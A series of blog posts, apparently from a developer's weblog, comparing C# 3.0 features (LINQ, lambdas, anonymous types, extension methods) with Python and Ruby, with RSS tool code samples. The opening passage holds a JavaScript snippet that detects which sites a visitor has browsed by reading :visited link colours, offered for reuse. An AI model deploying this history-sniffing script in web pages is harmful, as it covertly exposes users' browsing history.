           linkColor = document.defaultView.getComputedStyle(url2test,null).getPropertyValue("color");

	   if(linkColor == "rgb(100, 149, 237)"){
	     isVisited = true;
	   }
	 }else if(url2test.currentStyle){ //IE
	   if(url2test.currentStyle.color == "cornflowerblue"){
	     isVisited = true;
	   }
	 }

	 if (isVisited) {           
	 visited_sites.innerHTML = visited_sites.innerHTML + 
	  "<a href='" + url2test.href + "'>" + url2test.href + "</a><br>"
	 }         
	 testelem.removeChild(url2test);            
	 isVisited = false; 
  } 
}
      
    </script>
 <style type="text/css">
   p#linktest a:visited { color: CornflowerBlue }
 </style>
  </head>
  <body onload="DetectSites()">
    <b>Social Bookmarking Sites You've Visited</b>
    <p id="linktest" style="visibility:hidden" />
    <p id="visited_sites" />
  </body>
</html>

Of course, after writing the aforementioned code it occured to me run a Web search and I found that there are bits of code for doing this all over the Web in places like Jermiah Grossman’s blog (Firefox only) and GNUCITIZEN

At least now I have it in a handy format; cut, paste and go.

Now all I need is some free time which in which to tweak my weblogt to start using the above function instead of showing people links to services they don’t use.

Now playing: Disturbed - Numb


 

Categories: Programming | Web Development

I’ve finally broken down and used the Extension methods feature in C# 3.0. The feature is similar to the concept of “open classes” in Ruby described in Neal Ford’s post Are Open Classes Evil? which contains the following excerpt

Open classes in dynamic languages allow you to crack open a class and add your own methods to it. In Groovy, it's done with either a Category or the Expando Meta-class (which I think is a great name). JRuby allows you to do this to Java classes as well. For example, you can add methods to the ArrayList class thusly:

require "java"
include_class "java.util.ArrayList"
list = ArrayList.new
%w(Red Green Blue).each { |color| list.add(color) }

# Add "first" method to proxy of Java ArrayList class.
class ArrayList
def first
size == 0 ? nil : get(0)
end
end
puts "first item is #{list.first}"


Here, I just crack open the ArrayList class and add a first method (which probably should have been there anyway, no?).

In my case, I added a CanonicalizedUri() method the System.Uri class because I was tired of how we had to have all sorts of special case code to deal with canonicalizing URIs because Uri.AbsoluteUri property would not represent http://www.example.com and http://www.example.com/ as the same URI and a couple of other special cases.  My extension method is shown below

/// <summary>

/// Helper class used to add extension method to the System.Uri class.

/// </summary>

public static class UriHelper

{

/// <summary>

/// Returns a the URI canonicalized in the following way. (1) if the file is a UNC or file URI then it only returns the local part.

/// (2) for Web URIs it removes trailing slashes and preceding "www."

/// </summary>

/// <param name="uri">The URI to canonicalize</param>

/// <returns>The canonicalized URI as a string</returns>

public static string CanonicalizedUri(this Uri uri)

{

if (uri.IsFile || uri.IsUnc)

return uri.LocalPath;

UriBuilder builder = new UriBuilder(uri);

builder.Host = (builder.Host.ToLower().StartsWith("www.") ? builder.Host.Substring(4) : builder.Host);

builder.Path = (builder.Path.EndsWith("/") ? builder.Path.Substring(0, builder.Path.Length - 1) : builder.Path);

return builder.ToString().Replace(":" + builder.Port + "/", "/");

}

}

Now everywhere we used to have special case code for canonicalizing a URI, we just replace that with a call to uri.CanonicalizedUri(). It’s intoxicating how liberating it feels to be able to “fix” classes in this way.  

I have seen some complain that coupling this feature with Intellisense (i.e. method name autocomplete) leads to an overwhelming experience. Compare the following screenshots from Jessica Folser’s post using System.Linq, sometimes more isn't better which shows the difference between hitting ‘.’ on an Array with the System.Linq namespace included versus not. Note that the System.Linq namespace defines a number of extension methods for the Array class and its base classes.

WITHOUT SYSTEM.LINQ (20 methods)
Without System.Linq, Array has 20 methods

USING SYSTEM.LINQ (68 methods)

Using System.Linq, Array has 68 methods

I did find this disconcerting at first but I got used to it.

It should be noted that “open classes” in Ruby come with a bunch more features than extension methods in C# 3.0. For example, Ruby has remove_method and undef_method which allows developers to remove methods from a class. This is particularly useful if there is a particularly buggy or insecure method you’d rather was not used by developers in your project. Much better than simply relying on the Obsolete attribute. Smile

One problem I had with C# is that I can’t create an extension property only methods (so my CanonicalizedUri() had to be a method not a property like Uri.AbsoluteUri).  I assume this is due to difficulty in coming up with a backwards compatible extension to the syntax for properties. Either way, it sucks. You can count me as another developer who is voting for extension properties in C# 4.0 (or whatever comes next).

Now playing: Oomp Camp - Intoxicated


 

Categories: Programming

Brad Fitzpatrick, founder of Livejournal, has a blog post entitled Naming twins in Python & Perl where he writes

Last night at Beau's party, one of Beau's guests mentioned he's expecting twins shortly, which is why is wife wasn't at the party.
I drunkenly suggested he name his kids two names that were anagrams of each other. I then wandered off downstairs to find such suitable names.
Because I'm supposed to be be working in Python these days, not Perl, I gathered what little Python knowledge I had and wrote out:

#!/usr/bin/python

by_anagram = {}

names_file = open("dist.male.first")
for line in names_file:
    # lines in file look like:
    # WILLIAM        2.451 14.812      5
    # we want just the first field.
    name = (line.split())[0]
    letters = [letter for letter in name]
    letters.sort()
    sorted_name = "".join(letters)
    if not sorted_name in by_anagram:
        by_anagram[sorted_name] = []
    by_anagram[sorted_name].append(name)

for sorted_name in by_anagram:
    if len(by_anagram[sorted_name]) < 2:
        continue

    print by_anagram[sorted_name]
Not so happy with it, but it worked, and I printed out the results and brought them up to the guy

You can guess where this is going. Below is my solution in C# 3.0

using System;
using System.Linq;
using System.IO;

namespace Name_agram{
    class Program{
        static void Main(string[] args){
            var names    = from line in File.ReadAllLines("dist.male.first.txt")
                           let name = line.Split(' ')[0]
                           group name by new string(name.ToCharArray().OrderBy(x=>x).ToArray()) into anagrams
                           select anagrams;
                                        
            foreach (var list_of_names in names) {
                if (list_of_names.Count() > 1)
                    Console.WriteLine(String.Join(" ",list_of_names.ToArray()));
            }
            Console.ReadLine();
        }
    }
}

There are a ton of solutions in various languages in the comments to Brad's post. Again, it is startling to see how different an idiomatic C# 3.0 solution using LINQ is from the traditional imperative/procedural style of programming.

Now Playing: Rick James - Give It To Me Baby


 

Categories: Programming

One of the things to keep in mind when learning a new programming language is that it isn’t enough to learn the syntax and semantics of various language features you are unfamiliar with. Just as important is learning the idioms and way of thinking that goes with these language features. On reddit, ubernostrum pointed out that my usage of

if all_links.get(url) == None:

was jarring to read as a Python programmer when compared to the more idiomatic

if url not in all_links:

Of course this is just a stylistic issue but his point is valid. A similar thing happened with regards to other aspects of my recent post entitled Does C# 3.0 Beat Dynamic Languages at their Own Game? 

I argued that type inferencing and anonymous types in C# 3.0 did not offer the same degree of functionality that tuples and dynamic typing did when it came to processing intermediate values in a computation without requiring nominal types (i.e. named classes) to hold these values.

Specifically I had the following IronPython code,

IronPython Code

      for item in filteredItems:
            vote = (voteFunc(item), item, feedTitle)

            #add a vote for each of the URLs
            for url in item.outgoing_links.Keys:
                if all_links.get(url) is None:
                    all_links[url] = []
                all_links.get(url).append(vote)

    # tally the votes, only 1 vote counts per feed
    weighted_links = []
    for link, votes in all_links.items():
        site = {}
        for weight, item, feedTitle in votes:
            site[feedTitle] = min(site.get(feedTitle,1), weight)
        weighted_links.append((sum(site.values()), link))
    weighted_links.sort()
    weighted_links.reverse()

The key things to note about the above code block are (i) the variable named vote is a tuple of three values; the numeric weight given to a link received from a particular RSS item, an RSS item and the title of the feed Python and (ii) the items in the tuple can be unpacked into individual variables when looping over the contents of the tuple in a for loop.

When I tried to write the same code in C# 3.0 with a vote variable that was an anonymous type, I hit a road block. When I placed instances of the anonymous type in the list, I had no way of knowing what the data type of the object I’d be pulling out of the list would be when I wanted to extract it later to tally the votes. Since C# is statically typed, knowing the type’s name is a requirement for retrieving the objects from the list later unless I planned to interact with them as instances of System.Object and access their fields through reflection (or something just as weird).

So in my C# 3.0 solution I ended up creating RankedLink and Vote types to simulate the functionality I was getting from tuples in Python.

However it turns out I was using anonymous types incorrectly. I tried to take a feature that was meant to be coupled with C# 3.0’s declarative Language Integrated Query (LINQ) and use it in the traditional imperative loop constructs I’ve been familiar with since my days programming in C.

Ian Griffith’s set me straight with his blog post entitled Dare Obasanjo on C# Anonymous Types where he showed how to use anonymous types to get the solution I wanted without having to create unnecessary named types to hold intermediate values. Ian’s code is shown below

C# 3.0 Code

// calculate vote for each outgoing url
var all_links = from item in items
                from url in item.OutgoingLinks.Keys 
                group item by url into itemUrlGroup
                select new
                {
                  Url=itemUrlGroup.Key,
                  Votes=from item in itemUrlGroup
                        select new
                        {
                          Weight=voteFunc(item),
                          Item=item,
                          FeedTitle=feedTitle
                        }
                };

// tally the votes
var weighted_links = from link_n_votes in all_links
                     select new
                     {
                       Url=link_n_votes.Url,
                       Score=(from vote in link_n_votes.Votes
                              group vote by vote.FeedTitle into feed
                              select feed.Min(vote => vote.Weight)
                             ).Sum()
                     } into weighted_link
                     orderby weighted_link.Score descending
                     select weighted_link;

As you can see, Ian’s code performs the same task as the Python code does but with a completely different approach. The anonymous types are performing the same function as the Python tuples did in my previous code sample and there is no need to create RankedLink and Vote types to hold these intermediate values.

What I find interesting about this is that even though I’ve been using C# for the past five or six years, I feel like I have to relearn the language from scratch to fully understand or be able to take advantage the LINQ features. Perhaps a few stints as a SQL developer may be necessary as well?  

 


 

Categories: Programming

For the past few years I've heard a lot of hype about dynamic programming languages like Python and Ruby. The word on the street has been that their dynamic nature makes developers more productive that those of us shackled to statically typed languages like C# and Java. A couple of weeks ago I decided to take the plunge and start learning Python after spending the past few years doing the majority of my software development in C#. I learned that it was indeed true that you could get things the same stuff done in far less lines of Python than you could in C#. Since it is a general truism in the software industry that the number of bugs per thousand lines of code is constant irrespective of programming language, the more you can get done in fewer lines of code, the less defects you will have in your software.

Shortly after I started using Python regularly as part of the prototyping process for developing new features for RSS Bandit, I started trying out C# 3.0.  I quickly learned that a lot of the features I'd considered as language bloat a couple of months ago actually made a lot of sense if you're familiar with the advantages of dynamic and functional programming approaches to the tasks of software development. In addition, C# 3.0 actually fixed one of the problems I'd encountered in my previous experience with a dynamic programming language while in college.

Why I Disliked Dynamism: Squeak Smalltalk

Back in my college days I took one of Mark Guzdial's classes which involved a group programming project using Squeak Smalltalk. At the time, I got the impression that Squeak was composed of a bunch of poorly documented libraries cobbled together from the top graded submissions to assignments from Mark's class. What was particularly frustrating about the lack of documentation was that even looking at method prototypes gave no insight into how to call a particular library. For example, here's an example of a SalariedEmployee class taken from an IBM SmallTalk tutorial

"A subclass of Employee that adds protocol needed for 
          employees with salaries"

       Employee subclass: #SalariedEmployee
          instanceVariableNames:  'position salary'
          classVariableNames: ' '
          poolDictionaries: ' ' !

       ! SalariedEmployee publicMethods !

          position: aString 
             position := aString !
          position 
             ^position !
          salary: n 
             salary := n !
          salary 
             ^salary ! !

In the example above, there is a method called salary() that takes a parameter n whose type we don't know. n could be a string, an integer or a floating point number. If you are using the SalariedEmployee class in your code and want to set the employee's salary, the only way to find out what to pass in is to grep through the code and find out how the method is being used by others. You can imagine how frustrating it gets when every time you want to perform a basic task like perform a Web request you have to grep around trying to figure out if the url parameter you pass to the Http classes is a string, a Uri class or some oter random thing you haven't encountered yet.

For a long time, this was my only experience with a dynamic programming language and I thought it sucked...a lot.

Why I Grew to Love Dynamism: XML and C#

The first half of my career at Microsoft was spent working on the XML team which was responsible for the core XML processing APIs that are utilized by the majority of Microsoft's product line. One of the things that was so cool about XML was that it enabled data formats to be as strongly structured or semi-structured depending on the needs of the application. This flexibility is what gives us data formats like the Atom syndication format which although rigidly structured in parts (e.g. atom:entry elements MUST contain exactly one atom:id element, etc)  also supports semi-structured data (e.g. atom:content can contain blocks of XHTML) and enables distributed extensibility where anyone on the Web is free to extend the data format as long as they place their extensions in the right namespace.

However one problem we repeatedly bumped against is that data formats that can have unknown data types show up in them at runtime bump up against the notion of static typing that is a key aspect of languages in C#. I've written about this in the past in posts such as What's Right and Wrong with Code Generation in Web Services which is excerpted below

Another problem is that the inflexible and rigid requirements of static typing systems runs counter to the distributed and flexible nature of the Web. I posted a practical example a few years ago in my post entitled Why You Should Avoid Using Enumerated Types in XML Web Services. In that example, I pointed out that if you have a SOAP Web Service  that returns an enumeration with the possible value {CDF, RSS10, RSS20} and in a future release modify that enumeration by adding a new syndication format {CDF, RSS10, RSS20, Atom} then even if you never return that syndication format to old clients written in .NET, these clients will still have to be recompiled because of the introduction of a new enumeration value. I find it pretty ridiculous that till today I have list of "people we need to call and tell to recompile their code whenever we change an enum value in any of our SOAP Web Services".

I came to the realization that some degree of dynamism is desirable especially when dealing with the loosely coupled world of distributed programming on the Web. I eventually decided to ignore my earlier misgivings and start exploring dynamic programming languages. I chose IronPython because I could focus on learning the language while relying on the familiar .NET Framework class library when I wanted to deal with necessary tasks like file I/O or Web requests.

After getting up to speed with Python and then comparing it to C# 2.0, it was clear that the dynamic features of Python made my life as a programmer a lot easier. However something interesting happened along the way. Microsoft shipped C# 3.0 around the same time I started delving into Python. As I started investigating C# 3.0, I discovered that almost all the features I'd fallen in love with in Python which made my life as a developer easier had been integrated into C#. In addition, there was also a feature which is considered to be a killer feature of the Ruby programming language which also made it into C# 3.0.

Python vs. C# 3.0: Lambda Expressions

According to the Wikipedia entry on Dynamic Programming Languages

There are several mechanisms closely associated with the concept of dynamic programming. None are essential to the classification of a language as dynamic, but most can be found in a wide variety of such languages.
...
Higher-order functions
However, Erik Meijer and Peter Drayton caution that any language capable of loading executable code at runtime is capable of eval in some respect, even when that code is in the form of dynamically linked shared libraries of machine code. They suggest that higher-order functions are the true measure of dynamic programming, and some languages "use eval as a poor man's substitute for higher-order functions."[1]

The capability of a programming language to treat functions as first class objects that can be the input(s) or the output(s) of a function call is a key feature of many of today's popular "dynamic" programming languages. Additionally, creating a short hand syntax where anonymous blocks of code can be treated as function objects is now commonly known as "lambda expressions". Although C# has had functions as first class objects since version 1.0 with delegates and introduced anonymous delegates in C# 2.0, it is in C# 3.0 where the short hand syntax of lambda expressions has found its way into the language. Below are source code excerpts showing the difference between the the lambda expression functionality in C# and IronPython 

C# Code

//decide what filter function to use depending on mode 
Func<RssItem, bool> filterFunc = null;
if(mode == MemeMode.PopularInPastWeek) 
   filterFunc = x => (DateTime.Now - x.Date < one_week) ;
else 
   filterFunc = x => x.Read == false;

IronPython Code

#decide what filter function to use depending on mode
filterFunc = mode and (lambda x : (DateTime.Now - x.date) < one_week) or (lambda x : x.read == 0)

Although the functionality is the same, it takes a few more lines of code to express the same idea in C# 3.0 than in Python. The main reason for this is due to the strong and static typing requirements in C#. Ideally developers should be able to write code like 

Func<RssItem, bool> filterFunc = (mode == MemeMode.PopularInPastWeek ? x => (DateTime.Now - x.Date < one_week) : x => x.read == false);

However this doesn’t work because the compiler cannot determine whether each of the lambda expressions that can be returned by the conditional expression are of the same type. Despite the limitations due to the static and strong typing requirements of C#, the lambda expression feature in C# 3.0 is extremely powerful.

You don’t have to take my word for it. Read Joel Spolsky’s Can Your Programming Language Do This? and Peter Norvig’s Design Patterns in Dynamic Programming.  Peter Norvig’s presentation makes a persuasive argument that a number of the Gang of Four’s Design Patterns either require a lot less code or are simply unneeded in a dynamic programming language that supports higher order functions. For example, he argues that the Strategy pattern does not need separate classes for each algorithm in a dynamic language and that closures eliminate the need for Iterator classes. Read the entire presentation, it is interesting and quite illuminating.

Python vs. C# 3.0: List Comprehensions vs. Language Integrated Query

A common programming task is to iterate over a list of objects and either filter or transform the objects in the list thus creating a new list. Python has list comprehensions as a way of simplifying this common programming task. Below is an excerpt from An Introduction to Python by Guido van Rossum on list expressions   

List comprehensions provide a concise way to create lists without resorting to use of map(), filter() and/or lambda. The resulting list definition tends often to be clearer than lists built using those constructs. Each list comprehension consists of an expression followed by a for clause, then zero or more for or if clauses. The result will be a list resulting from evaluating the expression in the context of the for and if clauses which follow it.

Below is a code sample showing how list comprehensions can be used to first transform a list of objects (i.e. XML nodes) to another (i.e. RSS items) and then how the resulting list can be further filtered to those from a particular date. 

IronPython Code

 # for each item in feed        
 # convert each <item> to an RssItem object then apply filter to pick candidate items
  items = [ MakeRssItem(node) for node in doc.SelectNodes("//item")]
  filteredItems = [item for item in items if filterFunc(item)]

My friend Erik Meijer once observed that certain recurring programming patterns become more obvious as a programming language evolves, these patterns first become encapsulated by APIs and eventually become part of the programming language’s syntax. This is what happened in the case of the Python’s map() and filter() functions which eventually gave way to list comprehensions.

C# 3.0 does something similar but goes a step further. In C# 3.0, the language designers made the observation that performing SQL-like projection and selection is really the common operation and not just filtering/mapping of lists. This lead to Language Integrated Query (LINQ). Below is the same filtering operation on a list of XML nodes performed using C# 3.0

C# 3.0 Code

//for each item in feed        
// convert each <item> to an RssItem object then apply filter to pick candidate items
var items = from rssitem in 
              (from itemnode in doc.Descendants("item") select MakeRssItem(itemnode))
            where filterFunc(rssitem)
            select rssitem;

These are two fundamentally different approaches to tackling the same problem. Where LINQ really shines is when it is combined with custom data sources that have their own query languages such as with LINQ to SQL and LINQ to XML which map the query operations to SQL and XPath queries respectively.

Python vs. C# 3.0: Tuples and Dynamic Typing vs. Anonymous Types and Type Inferencing

As I’ve said before, tuples are my favorite Python feature. I’ve found tuples useful in situations where I have to temporarily associate two or three objects and don’t want to go through the hassle of creating a new class just to represent the temporary association between these types. I’d heard that a new feature in C# 3.0 called anonymous types which seemed like it would be just what I need to fix this pet peeve once and for all. The description of the feature is as follows

Anonymous types are a convenient language feature of C# and VB that enable developers to concisely define inline CLR types within code, without having to explicitly define a formal class declaration of the type.

I assumed this feature in combination with the var keyword would make it so I would no longer miss Python tuples when I worked with C#. However I was wrong. Let’s compare two equivalent blocks of code in C# and IronPython. Pay particular attention to the highlighed lines

IronPython Code

      for item in filteredItems:
            vote = (voteFunc(item), item, feedTitle)

            #add a vote for each of the URLs
            for url in item.outgoing_links.Keys:
                if all_links.get(url) == None:
                    all_links[url] = []
                all_links.get(url).append(vote)

    # tally the votes, only 1 vote counts per feed
    weighted_links = []
    for link, votes in all_links.items():
        site = {}
        for weight, item, feedTitle in votes:
            site[feedTitle] = min(site.get(feedTitle,1), weight)
        weighted_links.append((sum(site.values()), link))
    weighted_links.sort()
    weighted_links.reverse()

The key things to note about the above code block are (i) the variable named vote is a tuple of three values; the numeric weight given to a link received from a particular RSS item, an RSS item and the title of the feed Python and (ii) the items in the tuple can be unpacked into individual variables when looping over the contents of the tuple in a for loop.

Here’s the closest I could come in C# 3.0

C# 3.0 Code

// calculate vote for each outgoing url
 foreach (RssItem item in items) { 
       var vote = new Vote(){ Weight=voteFunc(item), Item=item, FeedTitle=feedTitle };
       //add a vote for each of the URLs
       foreach (var url in item.OutgoingLinks.Keys) {
           List<Vote> value = null;
           if (!all_links.TryGetValue(url, out value))
                value = all_links[url] = new List<Vote>(); 
                            
           value.Add(vote);                                                    
         }
   }// foreach (RssItem item in items)
//tally the votes
  List<RankedLink> weighted_links = new List<RankedLink>();
  foreach (var link_n_votes in all_links) {
       Dictionary<string, double> site = new Dictionary<string, double>();
       foreach (var vote in link_n_votes.Value) {
           double oldweight;
           site[vote.FeedTitle] = site.TryGetValue(vote.FeedTitle, out oldweight) ? 
                                  Math.Min(oldweight, vote.Weight): vote.Weight; 
        }
        weighted_links.Add(new RankedLink(){Score=site.Values.Sum(), Url=link_n_votes.Key});
    }
    weighted_links.Sort((x, y) => y.Score.CompareTo(x.Score));

The relevant line above is

var vote = new Vote() { Weight=voteFunc(item), Item=item, FeedTitle=feedTitle };

which I had INCORRECTLY assumed I would be able to write as

var vote = new { Weight=voteFunc(item), Item=item, FeedTitle=feedTitle };

In Python, dynamic typing is all about the developer knowing what types they are working with while the compiler is ignorant about the data types. However type inferencing in C# supports the opposite scenario, when the compiler knows the data types but the developer does not.  

The specific problem here is that if I place an anonymous type in a list, I have no way of knowing what the data type of the object I’m pulling out of the list will be. So I will either have to interact with them as instances of System.Object when popped from the list which makes them pretty useless or access their fields via reflection. Python doesn’t have this problem because I don’t need to know the type of an object to interact with it, I just need to know how what properties/fields and methods it supports.

At the end of the day, I realized that the var keyword is really only useful when constructing anonymous types as a result of LINQ expressions. In every other instance where it is acceptable to use var, you have to know the type of the object anyway so all you are doing is saving keystrokes by using it. Hmmmm.

Ruby vs. C# 3.0: Extension Methods

Extension methods is a fairly disconcerting feature that has been made popular by the Ruby programming language. The description of the feature is excerpted below

Extension methods allow developers to add new methods to the public contract of an existing CLR type, without having to sub-class it or recompile the original type.  Extension Methods help blend the flexibility of "duck typing" support popular within dynamic languages today with the performance and compile-time validation of strongly-typed languages.

I consider this feature to be the new incarnation of operator overloading. Operator overloading became widely reviled because it made code harder to read because you couldn’t just look at a code block and know what it does if you didn’t know how the operators had been implemented. Similarly, looking at an excerpt of C# code you may not realize that everything isn’t what it seems.

I spent several minutes being confused today because I couldn’t get the line

XAttribute read_node = itemnode.XPathEvaluate("//@*[local-name() = 'read']") as XAttribute;

to compile. It turns out that XPathEvaluate is an extension method and you need to import the System.Xml.XPath namespace into your project before the XPathEvaluate() method shows up as a method in the XElement class.

I’ve heard the arguments that Ruby makes it easier to express programmer intent and although I can see how XElement.XPathEvaluate(string) is a more readable choice than XPathQueryEngine.Evaluate(XElement, string) if you want to perform an XPath query on an XElement object, for now I think the readability issues it causes by hiding dependencies isn’t worth it. I wonder if any Ruby developers out there with a background in other dynamic languages that don’t have that feature (e.g. Python) care to offer a counter opinion based on their experience?

FINAL THOUGHTS

C# has added features that make it close to being on par with the expressiveness of functional and dynamic programming languages. The only thing missing is dynamic typing (not duck typing), which I’ve come to realize is has a lot more going for it than lots of folks in the strongly and statically typed world would care to admit. At first, I had expected that after getting up to speed with C# 3.0, I’d lose interest in Python but that is clearly not the case.

I love the REPL, I love the flexibility that comes from having natural support tuples in the language and I love the more compact syntax.  I guess I’ll be doing a lot more coding in Python in 2008.

Now Playing: Da Back Wudz - U Gonna Love Me


 

Categories: Programming

January 2, 2008
@ 03:05 AM

A few weeks ago, I wrote a prototype for the meme tracking feature of RSS Bandit in IronPython. The code was included in my blog post A Meme Tracker In IronPython.   The script was a port of Sam Ruby's original MeMeme script which shows the most recently popular links from from a set of RSS feeds.

I was impressed with how succinct the code was in IronPython when compared to what the code eventually looked like when I ported it to C# 2.0 and integrated it into RSS Bandit. Looking over the list of new features in C# 3.0, it occurred to me that a C# 3.0 version of the script would be as concise or even more concise than the IronPython version. So I ported the script to C# 3.0 and learned a few things along the way.

I'll post something shortly that goes into some details on my perspectives on the pros and cons of the various C# 3.0 features when compared to various Python features. For now, here's the meme tracker script in C# 3.0. Comparing it to the IronPython version should provide some food for thought.


using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;
using System.IO;
using System.Xml;
using System.Xml.Linq;
using System.Xml.XPath;
using System.Globalization;

namespace Memetracker {

    enum MemeMode { PopularInUnread, PopularInPastWeek }

    class RankedLink{
       public string Url { get; set;}
       public double Score { get; set; }   
    }

    class Vote {
        public double Weight { get; set; }
        public RssItem Item { get; set; }
        public string FeedTitle { get; set; }
    }


    class RssItem {
        public string Title { get; set; }
        public DateTime Date { get; set; }
        public bool Read { get; set; }
        public string Permalink { get; set; }
        public Dictionary<string, string> OutgoingLinks { get; set; }
    }

    class Program {

        static Dictionary<string, List<Vote>> all_links = new Dictionary<string, List<Vote>>();
        static TimeSpan one_week = new TimeSpan(7, 0, 0, 0);
        static MemeMode mode = MemeMode.PopularInPastWeek;

        static string cache_location = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Temp");
        static string href_regex = @"<a[\s]+[^>]*?href[\s]?=[\s""']+(.*?)[\""']+.*?>([^<]+|.*?)?<\/a>";
        static Regex regex       = new Regex(href_regex);

        static RssItem MakeRssItem(XElement itemnode) {

            XElement link_node = itemnode.Element("link");
            var permalink = (link_node == null ? "" : link_node.Value);
            XElement title_node = itemnode.Element("title");
            var title = (title_node == null ? "" : title_node.Value);
            XElement date_node = itemnode.Element("pubDate");
            var date = (date_node == null ? DateTime.Now : DateTime.Parse(date_node.Value, null, DateTimeStyles.AdjustToUniversal));
            XAttribute read_node = itemnode.XPathEvaluate("//@*[local-name() = 'read']") as XAttribute;
            var read = (read_node == null ? false : Boolean.Parse(read_node.Value));
            XElement desc_node = itemnode.Element("description");
            // obtain href value and link text pairs
            var outgoing = (desc_node == null ? regex.Matches(String.Empty) : regex.Matches(desc_node.Value));
            var outgoing_links = new Dictionary<string, string>();
            //ensure we only collect unique href values from entry by replacing list returned by regex with dictionary
            if (outgoing.Count > 0) {
                foreach (Match m in outgoing)
                    outgoing_links[m.Groups[1].Value] = m.Groups[2].Value;
            }
            return new RssItem() { Permalink = permalink, Title = title, Date = date, Read = read, OutgoingLinks = outgoing_links };
        }

        static void Main(string[] args) {

            if (args.Length > 0) //get directory of RSS feeds
                cache_location = args[0];
            if (args.Length > 1) //mode = 0 means use only unread items, mode != 0 means use all items from past week
                mode = (Int32.Parse(args[1]) != 0 ? MemeMode.PopularInPastWeek : MemeMode.PopularInUnread);

            Console.WriteLine("Processing items from {0} seeking items that are {1}", cache_location,
                (mode == MemeMode.PopularInPastWeek ? "popular in items from the past week" : "popular in unread items"));
            
            //decide what filter function to use depending on mode 
            Func<RssItem, bool> filterFunc = null;
            if(mode == MemeMode.PopularInPastWeek) 
                filterFunc = x => (DateTime.Now - x.Date < one_week) ;
            else 
                filterFunc = x => x.Read == false;

            //in mode = 0 each entry linking to an item counts as a vote, in mode != 0 value of vote depends on item age
            Func<RssItem, double> voteFunc   = null; 
            if(mode == MemeMode.PopularInPastWeek) 
                voteFunc = x => 1.0 - (DateTime.Now.Ticks - x.Date.Ticks) * 1.0 / one_week.Ticks; 
            else 
                voteFunc = x => 1.0;

            
            var di = new DirectoryInfo(cache_location); 
            foreach(var fi in di.GetFiles("*.xml")){
                var doc = XElement.Load(Path.Combine(cache_location, fi.Name));
                // for each item in feed
                //  1. Get permalink, title, read status and date
                //  2. Get list of outgoing links + link title pairs
                //  3. Convert above to RssItem object
                //  4. apply filter to pick candidate items
                var items = from rssitem in 
                            (from itemnode in doc.Descendants("item")                            
                            select MakeRssItem(itemnode))
                            where filterFunc(rssitem)
                            select rssitem;
                var feedTitle = doc.XPathSelectElement("channel/title").Value;
                // calculate vote for each outgoing url
                foreach (RssItem item in items) { 
                    var vote = new Vote(){ Weight=voteFunc(item), Item=item, FeedTitle=feedTitle };
                    //add a vote for each of the URLs
                    foreach (var url in item.OutgoingLinks.Keys) {
                        List<Vote> value = null;
                        if (!all_links.TryGetValue(url, out value))
                            value = all_links[url] = new List<Vote>(); 
                            
                        value.Add(vote);                                                    
                    }
                }// foreach (RssItem item in items)
            }// foreach(var fi in di.GetFiles("*.xml"))
           
            //tally the votes
            List<RankedLink> weighted_links = new List<RankedLink>();
            foreach (var link_n_votes in all_links) {
                Dictionary<string, double> site = new Dictionary<string, double>();
                foreach (var vote in link_n_votes.Value) {
                    double oldweight;
                    site[vote.FeedTitle] = site.TryGetValue(vote.FeedTitle, out oldweight) ? 
                                            Math.Min(oldweight, vote.Weight): vote.Weight; 
                }
                weighted_links.Add(new RankedLink(){Score=site.Values.Sum(), Url=link_n_votes.Key});
            }
            weighted_links.Sort((x, y) => y.Score.CompareTo(x.Score));

            //output the results, choose link text from first item we saw story linked from
            Console.WriteLine("<html><body><ol>");
            foreach(var rankedlink in weighted_links.GetRange(0, 10)){
                var link_text = (all_links[rankedlink.Url][0]).Item.OutgoingLinks[rankedlink.Url];
                Console.WriteLine("<li><a href='{0}'>{1}</a> {2}", rankedlink.Url, link_text, rankedlink.Score);
                Console.WriteLine("<p>Seen on:");
                Console.WriteLine("<ul>");
                foreach (var vote in all_links[rankedlink.Url]) {
                    Console.WriteLine("<li>{0}: <a href='{1}'>{2}</a></li>", vote.FeedTitle, vote.Item.Permalink, vote.Item.Title);
                }
                Console.WriteLine("</ul></p></li>");
            }
            Console.WriteLine("</ol></body></html>");
            Console.ReadLine();
        }
    }
}
Now Playing: Lloyd Banks - Boywonder
 

Categories: Programming

A few days ago I blogged about my plans to make RSS Bandit a desktop client for Google Reader. As part of that process I needed to verify that it is possible to programmatically interact with Google Reader from a desktop client in a way that provides a reasonable user experience. To this end, I wrote a command line client in IronPython based on the documentation I found at the pyrfeed Website.

The command line client isn't terribly useful on its own as a way to read your feeds but it might be useful for other developers who are trying to interact with Google Reader programmatically who would learn better from  code samples than reverse engineered API documentation.

Enjoy...

PS: Note the complete lack of error handling. I never got a hang of error handling in Python let alone going back and forth between handling errors in Python vs. handling underlying .NET/CLR errors.


import sys
from System import *
from System.IO import *
from System.Net import *
from System.Text import *
from System.Globalization import DateTimeStyles
import clr
clr.AddReference("System.Xml")
from System.Xml import *
clr.AddReference("System.Web")
from System.Web import *

#################################################################
#
# USAGE: ipy greader.py <Gmail username> <password> <path-to-directory-for-storing-feeds>
# 
# username & password are required
# feed directory location is optional, defaults to C:\Windows\Temp\
#################################################################

#API URLs
auth_url          = rhttps://www.google.com/accounts/ClientLogin?continue=http://www.google.com&service=reader&source=Carnage4Life&Email=%s&Passwd=%s
feed_url_prefix   = rhttp://www.google.com/reader/atom/
api_url_prefix    = rhttp://www.google.com/reader/api/0/
feed_cache_prefix = r"C:\\Windows\Temp\\"
add_url           = r"http://www.google.com/reader/quickadd"

#enumerations
(add_label, remove_label) = range(1,3)

class TagList:
    """Represents a list of the labels/tags used in Google Reader"""
    def __init__(self, userid, labels):
        self.userid = userid
        self.labels = labels

class SubscriptionList:
    """Represents a list of RSS feeds subscriptions"""
    def __init__(self, modified, feeds):
        self.modified = modified
        self.feeds    = feeds

class Subscription:
    """Represents an RSS feed subscription"""
    def __init__(self, feedid, title, categories, firstitemmsec):
        self.feedid        = feedid
        self.title         = title
        self.categories    = categories
        self.firstitemmsec = firstitemmsec

def MakeHttpPostRequest(url, params, sid):
    """Performs an HTTP POST request to a Google service and returns the results in a HttpWebResponse object"""
    req = HttpWebRequest.Create(url)
    req.Method = "POST"
    SetGoogleCookie(req, sid)

    encoding = ASCIIEncoding();
    data     = encoding.GetBytes(params)

    req.ContentType="application/x-www-form-urlencoded"
    req.ContentLength = data.Length
    newStream=req.GetRequestStream()
    newStream.Write(data,0,data.Length)
    newStream.Close()
    resp = req.GetResponse()
    return resp

def MakeHttpGetRequest(url, sid):
